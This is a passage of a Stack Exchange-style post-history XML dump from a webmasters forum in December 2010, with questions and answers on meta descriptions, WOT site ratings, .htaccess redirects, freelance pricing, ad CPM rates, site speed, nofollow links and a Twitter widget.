  <row Id="14170" PostHistoryTypeId="2" PostId="7049" RevisionGUID="f3a4f383-366c-4d6b-94bc-72cc89f55876" CreationDate="2010-12-23T13:06:53.997" UserDisplayName="Beccag" Text="Google ways meta tag descriptions are useful for search engines and users (but not for improving your site's ranking): &#xD;&#xA;&#xD;&#xA;&quot;While accurate meta descriptions can improve clickthrough, they won't impact your ranking within search results. We frequently prefer to display meta descriptions of pages (when available) because it gives users a clear idea of the URL's content.&quot;&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;([Google Webmaster tools][1])&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=35264" />
  <row Id="14171" PostHistoryTypeId="2" PostId="7050" RevisionGUID="46840bc0-0eee-4e3b-937a-e62198e505de" CreationDate="2010-12-23T13:50:41.980" UserId="386" Text="I don't understand why my site `Trustworthiness` and `Vendor Reliability` are considered bad by [WOT][1].&#xD;&#xA;&#xD;&#xA;I do not have ADS, I never spammed my site around, I do not have link that points to untrusted sites. Is this an error? How can improve it and get back to green lights?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mywot.com/en/scorecard/teamoff.org" />
  <row Id="14172" PostHistoryTypeId="1" PostId="7050" RevisionGUID="46840bc0-0eee-4e3b-937a-e62198e505de" CreationDate="2010-12-23T13:50:41.980" UserId="386" Text="How to modify WOT score of your site?" />
  <row Id="14173" PostHistoryTypeId="3" PostId="7050" RevisionGUID="46840bc0-0eee-4e3b-937a-e62198e505de" CreationDate="2010-12-23T13:50:41.980" UserId="386" Text="&lt;security&gt;&lt;blog&gt;" />
  <row Id="14174" PostHistoryTypeId="2" PostId="7051" RevisionGUID="d0654bb9-fba9-42d6-80ee-45a4d2e4215b" CreationDate="2010-12-23T14:34:00.760" UserId="2547" Text="If you have access to wibble.site1.com and if its server is Apache, you could a `.htaccess` with this :&#xD;&#xA;&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;      RewriteEngine On&#xD;&#xA;      RewriteCond %{HTTPS} !=on&#xD;&#xA;      RewriteCond %{HTTP_HOST} ^wibble\.(.+)$ [NC]&#xD;&#xA;      RewriteRule ^(.*)$ http://site2.com/directory/$1 [R=301,L]&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;&#xD;&#xA;It should work." />
  <row Id="14175" PostHistoryTypeId="4" PostId="7050" RevisionGUID="37becd87-b3bf-400d-8ba1-e8cc27dfe0c5" CreationDate="2010-12-23T14:40:54.547" UserId="386" Comment="edited title" Text="How to improve WOT score of a site?" />
  <row Id="14176" PostHistoryTypeId="2" PostId="7052" RevisionGUID="ac5b94b1-7097-4e73-b840-1a17930e0dee" CreationDate="2010-12-23T14:42:09.180" UserId="2490" Text="I have also been looking for european based hosting with unlimited traffic and disk space (for asp.net) but didn't find one." />
  <row Id="14177" PostHistoryTypeId="2" PostId="7053" RevisionGUID="3f946096-1a29-4ed8-bb0b-614b77a3d9e5" CreationDate="2010-12-23T15:45:58.523" UserId="3535" Text="I'm not sure exactly what kind of content you're working with, but you called it a &quot;complex structured document&quot;. I would imagine that with this being the case it's not possible to split the content into different sections/pages. &#xD;&#xA;&#xD;&#xA;With the level of headers you're wanting to drill down to, I wonder if you're being too liberal with what content you want tagged as a header. Like Lèse majesté, blockquotes and other tags would be more appropriate for certain chunks of content.&#xD;&#xA;&#xD;&#xA;I work with several government websites, and run into problems like this, where the document is very long with a ton of &quot;sections&quot;, that can't be split up and have to appear on the site exactly as it's delivered to me. Generally I build the pages as an outline, using nested lists to structure the document properly so that the order can be properly interpreted by browsers, screen readers, etc." />
  <row Id="14178" PostHistoryTypeId="5" PostId="1724" RevisionGUID="c759ca98-d422-4d9b-ac78-e0775e3f8af9" CreationDate="2010-12-23T15:49:44.337" UserId="3" Comment="added 1 characters in body" Text="&gt; There seems to be some evidence that the meta description is useful at least for some search engines.&#xD;&#xA;&#xD;&#xA;In general, meta tags are not useful. Google is over 90% of our traffic, and they only use the meta for site summary in the case where you aren't listed in DMOZ. &#xD;&#xA;&#xD;&#xA;http://googlewebmastercentral.blogspot.com/2009/09/google-does-not-use-keywords-meta-tag.html&#xD;&#xA;&#xD;&#xA;&gt;  For example, we do sometimes use the &quot;description&quot; meta tag as the text for our search results snippets, as this screenshot shows:&#xD;&#xA;&#xD;&#xA;&gt; &lt;img src=&quot;http://3.bp.blogspot.com/_oFOUEFf8v5U/SreTc15eFTI/AAAAAAAAAAc/utP7-ckTeog/s400/meta-description.png&quot;&gt;&#xD;&#xA;&#xD;&#xA;&gt; Even though we sometimes use the description meta tag for the snippets we show, we still don't use the description meta tag in our ranking.&#xD;&#xA;&#xD;&#xA;We are listed in DMOZ so **I see no reason to have 100+ bytes of meta site description in every page we serve over the wire.** The benefit is trivial, and the aggregate impact is large.&#xD;&#xA;&#xD;&#xA;&gt; As an aside, when you google &quot;stackoverflow&quot;, where does the &quot;A language-independent collaboratively ..&quot; description get pulled from? &#xD;&#xA;&#xD;&#xA;See here:  &#xD;&#xA;http://webmasters.stackexchange.com/questions/634/does-an-entry-in-dmoz-significantly-help-the-ranking-of-a-web-site/640#640" />
  <row Id="14179" PostHistoryTypeId="2" PostId="7054" RevisionGUID="3e571295-c4a7-4f96-b2ec-d82fb876a2f9" CreationDate="2010-12-23T15:54:07.413" UserId="1757" Text="Meta descriptions definitely aren't a waste of bandwidth. One of the things I dislike about SEO is that it gives webmasters a sort of tunnel vision when they design their webpage. And I think recent attitudes towards meta tags are a perfect example of this.&#xD;&#xA;&#xD;&#xA;From time to time, we have to remember that there are other considerations to be had besides SEO/marketing when building a website. Sure, meta keywords, meta descriptions, etc. have very little SEO value these days, but that's not the (sole) purpose of those fields. Search engines aren't the sole consumer of meta data, which is important for much more than helping you rank better on Google.&#xD;&#xA;&#xD;&#xA;When you bookmark a page, many browsers automatically fetch the meta description or even keywords. This enables users to browse their bookmarks and find old links much more easily. The same thing happens when you post a link to Facebook, Twitter and other sites. Some screen readers also allow users to preview a page by reading out its meta description, giving the user a more detailed overview of a page than just the title.&#xD;&#xA;&#xD;&#xA;The point is, like semantic structure, meta information is useful because it enables users and programmers to do more with a document. These could be uses that you never thought of or that haven't even been invented yet (e.g. a wikipedia bot can pull meta descriptions from a webpage to add descriptions to external links; a browser history search engine can build faster indexes from each page's meta description). Not including meta data just because it doesn't improve your search ranking is really shortsighted, not the type of user-centric thinking that webmasters ought to be using." />
  <row Id="14180" PostHistoryTypeId="5" PostId="7050" RevisionGUID="bf8b0091-a8f4-447a-88c4-a56ff16856ce" CreationDate="2010-12-23T16:09:24.847" UserId="386" Comment="edited body" Text="I don't understand why my site `Trustworthiness` and `Vendor Reliability` are considered bad by [WOT][1].&#xD;&#xA;&#xD;&#xA;I do not have ADS, I never spammed my site around, I do not have links that point to untrusted sites. Is this an error? How can improve it and get back to green lights?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mywot.com/en/scorecard/teamoff.org" />
  <row Id="14181" PostHistoryTypeId="2" PostId="7055" RevisionGUID="c3a447ee-9950-4c16-bbd3-80b8c1311f3b" CreationDate="2010-12-23T16:22:57.870" UserId="2293" Text="very often we see on (other) forums the following wide question: ***how much should I charge for making a website?***&#xD;&#xA;&#xD;&#xA;Well, recently in Brazil a web studios association were made with the most local famous web agencies, and they published a nice pricing guide (covering many different kind of jobs, and with rich descriptions). I won't post link to pdf as of now main due it is on portuguese and has local pricing.&#xD;&#xA;&#xD;&#xA;I found this reference useful, despite the pricing question is too subjective and broad to answer.&#xD;&#xA;&#xD;&#xA;My question is: does anyone know any other pricing guides from web producers associations or something similar (I'm not referring to a simple spreadsheet)?" />
  <row Id="14182" PostHistoryTypeId="1" PostId="7055" RevisionGUID="c3a447ee-9950-4c16-bbd3-80b8c1311f3b" CreationDate="2010-12-23T16:22:57.870" UserId="2293" Text="Official guides for pricing" />
  <row Id="14183" PostHistoryTypeId="3" PostId="7055" RevisionGUID="c3a447ee-9950-4c16-bbd3-80b8c1311f3b" CreationDate="2010-12-23T16:22:57.870" UserId="2293" Text="&lt;pricing&gt;&lt;marketing&gt;" />
  <row Id="14184" PostHistoryTypeId="2" PostId="7056" RevisionGUID="49e87823-2569-400c-a3c4-d3fd79276695" CreationDate="2010-12-23T16:51:23.283" UserId="1757" Text="The only one I know of is the [Graphic Artist’s Guild Handbook][1] (released every year). It covers web design, but I've never looked at it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.amazon.com/dp/0932102158" />
  <row Id="14185" PostHistoryTypeId="2" PostId="7057" RevisionGUID="1c26e782-7d2f-4c97-b9c5-d1efa45fda2d" CreationDate="2010-12-23T17:59:13.703" UserId="3535" Text="There's a lot of information out there, but it's tough to find something really useful, since there's so many variables involved in coming up with a price. When looking around on ideas for my freelancing work, I stumbled across an article on [WebpageFX][1] with a &quot;Project Quote Calculator&quot;, which gives a decent idea of how that particular company bases their pricing on. &#xD;&#xA;&#xD;&#xA;Lucky for me I have a full-time gig as a developer, so if I do any freelance work I will generally make sure that I make at least the same amount as I would with my regular paycheck for the time spent. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webpagefx.com/websitedesign.htm" />
  <row Id="14186" PostHistoryTypeId="2" PostId="7058" RevisionGUID="cd9c6817-84bc-41c8-b907-dd1462110d46" CreationDate="2010-12-23T23:08:10.143" UserDisplayName="Joe" Text="I have a packing slip that is generated with each order that I want to print and place in each shipped package. The images on the packing slip will not change and need to be high resolution for crisp printing.&#xD;&#xA;&#xD;&#xA;My issue occurs because I need to print out of my web browser which enlarges the size of the images because of the 300 ppi density change to web standard 72 ppi. &#xD;&#xA;&#xD;&#xA;How can I specify 300 ppi on the images needed to be printed in my browser while keeping them the correct size on paper? &#xD;&#xA;&#xD;&#xA;Thanks! " />
  <row Id="14187" PostHistoryTypeId="1" PostId="7058" RevisionGUID="cd9c6817-84bc-41c8-b907-dd1462110d46" CreationDate="2010-12-23T23:08:10.143" UserDisplayName="Joe" Text="Print high resolution images from browser? " />
  <row Id="14188" PostHistoryTypeId="3" PostId="7058" RevisionGUID="cd9c6817-84bc-41c8-b907-dd1462110d46" CreationDate="2010-12-23T23:08:10.143" UserDisplayName="Joe" Text="&lt;browsers&gt;&lt;print&gt;&lt;image&gt;" />
  <row Id="14189" PostHistoryTypeId="2" PostId="7059" RevisionGUID="5a537ebe-91c9-41fe-9fea-1ecade0db3d0" CreationDate="2010-12-23T23:57:10.733" UserId="2293" Text="Well...&#xD;&#xA;&#xD;&#xA;This is not the real answer for what you want, but internet is not primary intended for this kind of printing. Usually when a website wanna make printing available, they give PDFs and high quality JPEGs for download and print." />
  <row Id="14190" PostHistoryTypeId="2" PostId="7060" RevisionGUID="6e529673-5ee2-47f6-b488-d089449c16c4" CreationDate="2010-12-24T00:01:49.950" UserDisplayName="Frosty" Text="&lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;if(typeof(_gat)!='object')document.write('&lt;sc'+'ript src=&quot;http'+&#xD;&#xA;(document.location.protocol=='https:'?'s://ssl':'://www')+&#xD;&#xA;'.google-analytics.com/ga.js&quot;&gt;&lt;/sc'+'ript&gt;')&lt;/script&gt;&#xD;&#xA;&lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;try {&#xD;&#xA;var gwoTracker=_gat._getTracker(&quot;UA-XXXXXXXXX-37&quot;);&#xD;&#xA;gwoTracker._setDomainName(&quot;.example.com&quot;);&#xD;&#xA;gwoTracker._setAllowLinker(true);&#xD;&#xA;gwoTracker._setAllowHash(false);&#xD;&#xA;gwoTracker._trackPageview(&quot;/YYYYYYYYYY/test&quot;);&#xD;&#xA;}catch(err){}&lt;/script&gt;" />
  <row Id="14191" PostHistoryTypeId="2" PostId="7061" RevisionGUID="393c6462-9332-4ce7-a2b7-58523a6db75f" CreationDate="2010-12-24T01:00:35.127" UserId="3590" Text="While Dave is right, you can creatively avoid the entire resolution thing by using SVG, vector artwork is pretty matured over the years and also very supported (including in IE 9) this will print anything better, better than 300 dpi, as the printer will always print vector artwork sharper than any rasterised things. Wikipedia has a good page on SVG. I am using SVGZ (compressed) which is not only sharper, but like SVG, much much smaller in kbytes than raster. now THATS something which is good on the internet: saving filesize while using smartways to render everything by CPU of the local browser." />
  <row Id="14192" PostHistoryTypeId="2" PostId="7062" RevisionGUID="e68c86be-e77d-4518-aacf-5bce99f310fc" CreationDate="2010-12-24T01:15:30.747" UserId="3590" Text="#IF...&#xD;&#xA;**you consider yourself a Creative WebArtist**,  capable of Discovering New, Unique designs, that fit a customer in a way they feel you have made a original work of art for them, then consider this:&#xD;&#xA;&#xD;&#xA; - How Outstanding is the Quality you are providing?&#xD;&#xA;&#xD;&#xA; - Is your Quality the same as the Quality that the makers of the Chart provided?&#xD;&#xA;&#xD;&#xA; - if so, How does that chart translate into your Region / Currency / acceptance of prices?&#xD;&#xA;&#xD;&#xA; - if not, then What do you offer More or Less? &#xD;&#xA;&#xD;&#xA; - List YOUR unique POS Point of Selling (why would a clint choose you and not me? and add a little price for every unique good benefit they get from You!&#xD;&#xA;&#xD;&#xA; - Retract an honest amount of money for the things you are worse at, or are learning at, or think that others ( who made the chart) are much better than you.&#xD;&#xA;&#xD;&#xA; - Add the total up, take a deep breathe, and now you have something which is actually more valuable than a price: you have a unique list of things that CONVINCE a client why they should choose you and not others.  25% higher or lower price will not matter for a professional customer who needs truly your qualities.&#xD;&#xA;&#xD;&#xA; LEGEND: Qualities can be anything: Flexibility, Experience, Charm, Friendlyness, Performance, Price, Honesty, Meeting deadlines, Delivering according to expectations of previous customers, Portfolio list, Client list, Design Style ( = personal and impossable to standardise in a chart ), Your age (if you are 65 years old, i might prefer to give it to someone who is mor elike 45, perhaps), your location, communication skills, size of company, amount of employees and variations of disciplines within your company/network. etc.&#xD;&#xA;&#xD;&#xA;As you can see, PRICE is important but to most clients I have met in the past 12 years of my experience, just a small factor, really, and in no way a reference to a standardized chart, on a different country, by different people with different styles.&#xD;&#xA;&#xD;&#xA;- Finally: chart what you feel fits your needs (its a good thing to be practical, even as a creative web-artist.&#xD;&#xA;&#xD;&#xA;#END IF" />
  <row Id="14193" PostHistoryTypeId="2" PostId="7063" RevisionGUID="35d0f1eb-38f3-483b-a979-42c84f38b9f4" CreationDate="2010-12-24T01:26:14.860" UserId="3590" Text="Adding to others, some thoughts that pop into a virtual balloon, between my mind and my monitor:&#xD;&#xA;&#xD;&#xA;- (Get to) `know your audience` well &gt;&gt; direct your seo links towards websites they visit&#xD;&#xA;&#xD;&#xA;- Get `feedback from your audience` &gt;&gt; and reflect this on your website&#xD;&#xA;&#xD;&#xA;- `Involve your audience` into your site&#xD;&#xA;&#xD;&#xA;- `trigger actions` that directs your audience towards you&#xD;&#xA;&#xD;&#xA;- never lose your `passion over any seo benefits`: put your love into your site&#xD;&#xA;&#xD;&#xA;- the rest will `be noticed by people` automatically and they'll handle the rest for you!" />
  <row Id="14194" PostHistoryTypeId="2" PostId="7064" RevisionGUID="dcd3769e-a6f0-4970-8979-3e19e46e7de3" CreationDate="2010-12-24T01:38:47.210" UserId="3590" Text="DZON, Interesting Question! As art director we think about the prices/performance/value/ client relationships all the time. Now to the point of YOUR website:&#xD;&#xA;&#xD;&#xA;- SHOULD there be a standardized Chart for this? (NO)&#xD;&#xA;- IS your website a standardized webiste? (NO)&#xD;&#xA;- Are 320K visitors same as 320K visitors (OF course not, unless one is really stupid)&#xD;&#xA;- Professional analysis shows that unless you know what type of people those 320K / other numbgers actually mean, its impossible to get to know what they are really worth. If the client is stupid and thinks that those 320K are all potential buyers of his products, you can ask anything you want. On the other hand perhaps the potential for this client is small, not making any branding/product sales from your site, meanwhile you are stuck with all the ads on your site!&#xD;&#xA;&#xD;&#xA;Lets stop for a moment and ask yourself the seemingly subjective question: what do YOU think that space / your visitors are worth to you, risking placement of distractions that might annoy them or could it perhaps even enrich them? etc&#xD;&#xA;&#xD;&#xA;It can be nice to have ads but too much of it and it could cost you more(visitors) than the money paid buy the ads, in a long term.&#xD;&#xA;&#xD;&#xA;**Welcome to the world of highly specific, audience targeted customized ads sales.&#xD;&#xA;And the best person knowing that targeted audience, is you.**&#xD;&#xA;&#xD;&#xA;Summary:  &#xD;&#xA;You must name YOUR price.&#xD;&#xA;You have the meaning behind those numbers.&#xD;&#xA;" />
  <row Id="14195" PostHistoryTypeId="5" PostId="7061" RevisionGUID="5520d0e1-2198-43d3-a1d4-189faa86ef70" CreationDate="2010-12-24T02:03:28.413" UserId="3590" Comment="added 42 characters in body" Text="While Dave is right, you can `Creatively Avoid the Entire Resolution Problem` by using **SVG**: ever heard of Vector Artworks? Pretty nice, and... Very matured over the years and also very supported (including in IE 9) &#xD;&#xA;&#xD;&#xA;This will print anything better, much better than 300 dpi, as the printer will always print vector artwork sharper directly calculated natively in the printer. Wikipedia has a good page on SVG. I am using SVGZ (compressed) which is not only sharper, but like SVG, much smaller in kbytes than raster. &#xD;&#xA;&#xD;&#xA;`Now THATS something which is good on the internet: saving filesize while using smart ways to render neat graphics.`" />
  <row Id="14196" PostHistoryTypeId="2" PostId="7065" RevisionGUID="b8bf7246-cdd7-4dd3-98b8-f3d212e8b2f1" CreationDate="2010-12-24T03:20:48.890" UserId="1757" Text="Are those 320k unique visitors per month, or are you taking the unique daily visitors and adding them together? Because if you're getting 320k unique visitors, then you could be making some serious advertising revenue.&#xD;&#xA;&#xD;&#xA;[Here's a survey of average CPM rates][1] in 2009 for vertical advertising. I don't know if these are banner ads or textual ads, but they seem to range from **$1-2** to **$15-17**. Luckily for you, for the tech industry, the average is around $15, which is at the high end.&#xD;&#xA;&#xD;&#xA;[CPM][2] rates are calculated per thousand impressions. So 5 million page views would be **$15 * 5000 = $75K**. That's a nice chunk of change you have there if the advertiser is U.S.-based and has this sort of marketing budget.&#xD;&#xA;&#xD;&#xA;That said, different publishers will be able to realize different CPM rates. I've seen people give $30-35 as sample CPM rates for banner ads, but most publishers probably won't be able to ask for that much. I would start at $15 and negotiate from there.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.labnol.org/internet/average-cpm-rates/11315/&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Cost_per_impression" />
  <row Id="14197" PostHistoryTypeId="5" PostId="7065" RevisionGUID="96cf7a93-37f7-4b8b-a001-291e818164d0" CreationDate="2010-12-24T03:26:00.430" UserId="1757" Comment="added 424 characters in body" Text="Are those 320k unique visitors per month, or are you taking the unique daily visitors and adding them together? Because if you're getting 320k unique visitors, then you could be making some serious advertising revenue.&#xD;&#xA;&#xD;&#xA;[Here's a survey of average CPM rates][1] in 2009 for vertical advertising. I don't know if these are banner ads or textual ads, but they seem to range from **$1-2** to **$15-17**. Luckily for you, for the tech industry, the average is around $15, which is at the high end.&#xD;&#xA;&#xD;&#xA;[CPM][2] rates are calculated per thousand impressions. So 5 million page views would be **$15 * 5000 = $75K**. That's a nice chunk of change you have there if the advertiser is U.S.-based and has this sort of marketing budget.&#xD;&#xA;&#xD;&#xA;That said, different publishers will be able to realize different CPM rates. I've seen people give $30-35 as sample CPM rates for banner ads, but most publishers probably won't be able to ask for that much. I would start at $15 and negotiate from there.&#xD;&#xA;&#xD;&#xA;And if the advertiser doesn't think your ad space is worth that much, but you think it's worth more than what they're offering, you could propose a CPA/CPC deal where they pay per action/conversion. This way, there's zero risk to the advertiser, and you can ask for a higher rate than they're willing to offer for CPM. Alternatively, you could also use a PPC arrangement, which would be somewhere in between CPM and CPA.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.labnol.org/internet/average-cpm-rates/11315/&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Cost_per_impression" />
  <row Id="14198" PostHistoryTypeId="2" PostId="7066" RevisionGUID="155c5951-d6e2-499a-accb-ec12709bcd8a" CreationDate="2010-12-24T03:45:57.043" UserDisplayName="JP19" Text="Also, the location of visitors is important. Find out more about the company (which country is its main business based in). In general, US traffic can fetch more than Europe/Canada traffic which can pay slightly more than that from India - but all depends on the type and generality of ad.&#xD;&#xA;" />
  <row Id="14199" PostHistoryTypeId="2" PostId="7067" RevisionGUID="94180683-3c25-4ecd-b935-3a98d77a5439" CreationDate="2010-12-24T04:31:29.810" UserId="4089" Text="I have a website which was hosted in Germany till last month. Then this month I moved it to a US based server. The new host is one of the best and top ranking dedicated hosting provider. &#xD;&#xA;Ever since I have moved the site, I have heard people saying site loads slow now. Although I personally haven't seen it because when I open it myself or use some 3rd party website speed checker then it shows excellent speed. &#xD;&#xA;But the thing is when I go to Google Webmaster and there is a something called &quot;site performance&quot; under &quot;Labs&quot; then it shows that my site's loading time is increasing. And the home page is taking on average 10 seconds to open completely. But of course when I open website myself or if I ask my friend, we don't notice such delay. In fact this is totally absurd that Google is saying 10 seconds for home page! &#xD;&#xA;Upon reading further about site performance I came to know that this is the data that Google collects from Google Toolbar that users have installed. So that means its results could be skewed and totally unreliable!? But two people I talked to said that its not just toolbar but Google also collects this data by other means. Although Google help documents only mention about toolbar. So I want to know what is true? &#xD;&#xA;And when you see crawl stats then Google says that it took an average 0.6 seconds to crawl one page. So crawl stats is showing something else while site performance is showing totally different. &#xD;&#xA;&#xD;&#xA;Secondly what tools and techniques can I use to really see what the problem is? Shall I look into webalizer or raw access logs? I have also looked into MySQL logs and found some queries which are slowing site performance but not on home page. And that too has only happened twice for a brief period of 1 or 2 minutes when site was not loading at all due to MySQL server being busy. &#xD;&#xA;What data shall I look for in logs and stats? If there really is some problem then I want to go to bottom of it.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="14200" PostHistoryTypeId="1" PostId="7067" RevisionGUID="94180683-3c25-4ecd-b935-3a98d77a5439" CreationDate="2010-12-24T04:31:29.810" UserId="4089" Text="Google Webmaster site performance - apparently website loads slow" />
  <row Id="14201" PostHistoryTypeId="3" PostId="7067" RevisionGUID="94180683-3c25-4ecd-b935-3a98d77a5439" CreationDate="2010-12-24T04:31:29.810" UserId="4089" Text="&lt;google-webmaster-tools&gt;&lt;optimization&gt;" />
  <row Id="14202" PostHistoryTypeId="2" PostId="7068" RevisionGUID="29211393-224d-42d6-b2bf-cc3e8b8e493c" CreationDate="2010-12-24T05:10:57.140" UserId="2930" Text="I have [a blog][1] which I want to make do-follow but I am unable to find any place to change nofollow to dofollow please help me the html code is [here][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mycsnippets.blogspot.com/&#xD;&#xA;  [2]: http://www.ideone.com/mmang" />
  <row Id="14203" PostHistoryTypeId="1" PostId="7068" RevisionGUID="29211393-224d-42d6-b2bf-cc3e8b8e493c" CreationDate="2010-12-24T05:10:57.140" UserId="2930" Text="Cant find dofollow or no follow in my blog.Please guide me" />
  <row Id="14204" PostHistoryTypeId="3" PostId="7068" RevisionGUID="29211393-224d-42d6-b2bf-cc3e8b8e493c" CreationDate="2010-12-24T05:10:57.140" UserId="2930" Text="&lt;nofollow&gt;&lt;dofollow&gt;" />
  <row Id="14205" PostHistoryTypeId="2" PostId="7069" RevisionGUID="77f61c20-c76a-44e6-874c-b12607ffae8e" CreationDate="2010-12-24T05:33:10.913" UserId="2930" Text="googling didnt worked in finding good link exchange programs.Has anyone of you tried an automatic link exchange program?My sites page rank has fallen from 3 to 1.Please help" />
  <row Id="14206" PostHistoryTypeId="1" PostId="7069" RevisionGUID="77f61c20-c76a-44e6-874c-b12607ffae8e" CreationDate="2010-12-24T05:33:10.913" UserId="2930" Text="Where can I find good link exchange programs and forums?" />
  <row Id="14207" PostHistoryTypeId="3" PostId="7069" RevisionGUID="77f61c20-c76a-44e6-874c-b12607ffae8e" CreationDate="2010-12-24T05:33:10.913" UserId="2930" Text="&lt;links&gt;&lt;backlinks&gt;" />
  <row Id="14208" PostHistoryTypeId="2" PostId="7070" RevisionGUID="abb3a311-b82e-4086-b5a3-3816141e5491" CreationDate="2010-12-24T06:11:31.440" UserId="4090" Text="I have Twitter's own widget set to load on a website, which works just fine.&#xD;&#xA;However, on my WP-powered blog the script is included but not rendered. I call it inside an empty `div` like this:&#xD;&#xA;&gt;     &lt;?php include $_SERVER['DOCUMENT_ROOT'].'/twtr-widget.html' ?&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But it appears in the page source as HTML (I'm putting '...' to save room):&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt;     &lt;script src=&quot;http://widgets.twimg.com/j/2/widget.js&quot;&gt;&lt;/script&gt; &#xD;&#xA;    &lt;script&gt; &#xD;&#xA;    new TWTR.Widget({...&#xD;&#xA;    ...&lt;/script&gt;&#xD;&#xA;In other words, the script is not being executed. Why is this?" />
  <row Id="14209" PostHistoryTypeId="1" PostId="7070" RevisionGUID="abb3a311-b82e-4086-b5a3-3816141e5491" CreationDate="2010-12-24T06:11:31.440" UserId="4090" Text="Why isn't Twitter widget working?" />
  <row Id="14210" PostHistoryTypeId="3" PostId="7070" RevisionGUID="abb3a311-b82e-4086-b5a3-3816141e5491" CreationDate="2010-12-24T06:11:31.440" UserId="4090" Text="&lt;wordpress&gt;&lt;twitter&gt;" />
  <row Id="14214" PostHistoryTypeId="2" PostId="7072" RevisionGUID="5b58d825-5acb-43bc-877f-4c393b88e974" CreationDate="2010-12-24T08:47:08.123" UserId="1064" Text="You cannot process Javascript with the PHP interpreter - the PHP interpreter will ignore anything which is not bound by `&lt;?php`/`?&gt;` and will simply return the include as part of the document you are serving." />
  <row Id="14215" PostHistoryTypeId="2" PostId="7073" RevisionGUID="ff497cdc-8bd8-4515-b708-b03d288d8ee2" CreationDate="2010-12-24T09:10:31.240" UserDisplayName="JP19" Text="Try http://www.forumlinkbuilding.com" />
  <row Id="14216" PostHistoryTypeId="2" PostId="7074" RevisionGUID="16eeda5a-06c4-4dc4-b399-9640e15d90af" CreationDate="2010-12-24T09:12:51.817" UserDisplayName="JP19" Text="Regarding your PR drop. It could be due to number of factors. Like old links vanishing, PR of pages linking to your pages going down, etc. Also, ensure your content is regularly updated." />
  <row Id="14217" PostHistoryTypeId="2" PostId="7075" RevisionGUID="3eecb2fa-7bfc-4497-9a85-e21bb562628e" CreationDate="2010-12-24T10:14:28.133" UserId="1022" Text="Looks like Blogspot/Blogger, so you won't be able to get deep enough into the code to change it. Links are probably stripped down by the server, like most blog software will do. Writing a Javascript function to strip out nofollow attributes after the page loads would be easy, but pointless since searchbots won't notice.&#xD;&#xA;" />
  <row Id="14218" PostHistoryTypeId="2" PostId="7076" RevisionGUID="6e37443f-dde4-4108-9264-18ebefd3a852" CreationDate="2010-12-24T11:40:42.817" UserId="1022" Text="A slow database query can cause a lot of problems. If a slow query locks a table, it's locked until the query's done. Or if it has to write a huge amount of data to a temp file due to bad indexing, it can affect anything that touches the drive it's writing on.&#xD;&#xA;&#xD;&#xA;Step one to improving server performance (without getting into code profiling &amp; hardware tweaking): caching. MySQL has an internal query cache that can be tuned relatively easily, and there are a lot of ways to set up a page cache, depending on what tools you're using. Nothing's faster than serving static HTML files.&#xD;&#xA;&#xD;&#xA;And it might be obvious, but geography does matter. If your users are in Germany, moving your server across the Atlantic added some latency. Swimming across the ocean twice takes time, even at the speed of light, and satellites aren't as reliable as the submarine cables. If your users are now farther away from your server, your site did just get slower, and possibly enough to notice and complain about.&#xD;&#xA;" />
  <row Id="14228" PostHistoryTypeId="2" PostId="7078" RevisionGUID="e71ea4e6-970e-4c4f-ab55-48de532ff157" CreationDate="2010-12-24T13:56:26.703" UserId="2293" Text="Like @tamdamson said, I also think you can't get deep enough to change that.&#xD;&#xA;&#xD;&#xA;If you pay attention to the code you posted, will notice that it isn't HTML+CSS. It is a XSLT stylesheet, ie, a XML document.&#xD;&#xA;&#xD;&#xA;The advantage of using that kind of document is: you can declare repetition rules, and wrap snippets (templates) into other files.&#xD;&#xA;&#xD;&#xA;Can you find even the blog post code in the code you sent? No. You find a call to a widget (a file with rules for processing blog posts). You can change it going into Design mode and editing the blog posts widget.&#xD;&#xA;&#xD;&#xA;Comments are another widget called inside blog posts. But you don't have access to this one AFAIK. Thus you can't change the nofollow to follow." />
  <row Id="14229" PostHistoryTypeId="12" PostId="7074" RevisionGUID="359476a5-e1f3-4c9a-ab08-821bc97e3d22" CreationDate="2010-12-24T14:31:52.523" UserDisplayName="JP19" Text="[{&quot;Id&quot;:3557,&quot;DisplayName&quot;:&quot;JP19&quot;}]" />
  <row Id="14230" PostHistoryTypeId="13" PostId="7074" RevisionGUID="aa44ddf9-7750-476d-a7f4-680099ee332f" CreationDate="2010-12-24T14:31:56.253" UserDisplayName="JP19" Text="[{&quot;Id&quot;:3557,&quot;DisplayName&quot;:&quot;JP19&quot;}]" />
  <row Id="14231" PostHistoryTypeId="2" PostId="7079" RevisionGUID="698f935f-558f-469e-85fe-fd53c72b845d" CreationDate="2010-12-24T15:54:54.397" UserId="745" Text="You can't afford to do [link exchanges][1] and I can [prove it][2]. I explain in detail on my website, but simply put, when you factor in time for discovery, contact, failure, success, implementation, and maintenance, link exchanging is too expensive. It doesn't scale and it has low if any return on investment. What's worse, you can't measure the ROI either. &#xD;&#xA;&#xD;&#xA;You're far better off:&#xD;&#xA;&#xD;&#xA; - Creating content that people *want*&#xD;&#xA;   to link to.&#xD;&#xA; - Making it easy for people to share&#xD;&#xA;   your content.&#xD;&#xA; - Getting the technical aspects of your&#xD;&#xA;   page right.&#xD;&#xA; - Doing keyword research so that you&#xD;&#xA;   target the right phrases.&#xD;&#xA; - Expanding your own site so that you&#xD;&#xA;   have more pages that you control to&#xD;&#xA;   link from (they count too).&#xD;&#xA; - Building a community.&#xD;&#xA; - Planning and then executing a content&#xD;&#xA;   and marketing strategy.&#xD;&#xA; - Actually paying for targeted,&#xD;&#xA;   measurable advertising.&#xD;&#xA; - Streamlining 